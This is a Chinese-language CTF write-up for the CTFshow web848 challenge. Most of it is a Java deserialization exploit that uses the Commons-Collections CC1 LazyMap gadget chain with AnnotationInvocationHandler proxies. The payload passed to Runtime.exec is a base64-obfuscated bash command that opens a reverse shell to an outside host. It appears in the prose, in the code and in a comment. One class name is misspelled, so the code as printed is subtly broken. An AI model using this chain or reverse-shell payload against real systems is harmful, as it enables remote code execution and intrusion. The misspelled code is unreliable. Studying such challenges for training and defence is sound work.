每日一题 —— [CTFshow]web848¶
打开题目,继续是 CC 链的内容。题目描述说到不允许使用 TransformedMap
这个类,我们使用上次的 payload 试一下,发现报错,内容是 ClassNotFoundException
,描述为 Class Not Support
, 确认了我们上次的 CC1 链已经失效了。但是我们在 CC1 链的基础上,还有一条 LazyMap
的分支。
我们先参照这篇博客,准备好 CC1 LazyMap
分支的 EXP,然后和上一题一样,使用这个命令执行: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash
最终 exp:
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
// 构造 chainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTrgnsformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash
// 构造 一个普通的 Map 用来初始化第一个 AnnotationInvocationHandler
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = (Map) LazyMap.decorate(map, chainedTransformer);
// 构造第一个作为动态代理类执行 invoke 方法触发 lazymap 的 get 方法的 annotationInvocationHandler
Class annotationInvocationHdlClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHdlClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler hdl1 = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 将 hdl1 代理给 lazymap, 生成 proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), hdl1);
// 构造第二个用于触发无参方法的 AnnotationInvocationHandler
Object hdl2 = constructor.newInstance(Override.class, proxyMap);
serialize(hdl2, "ser.bin");
}
最后将 ser.bin
文件进行 base64
编码,然后 urlencode
就可以提交了。
文章热度:0次阅读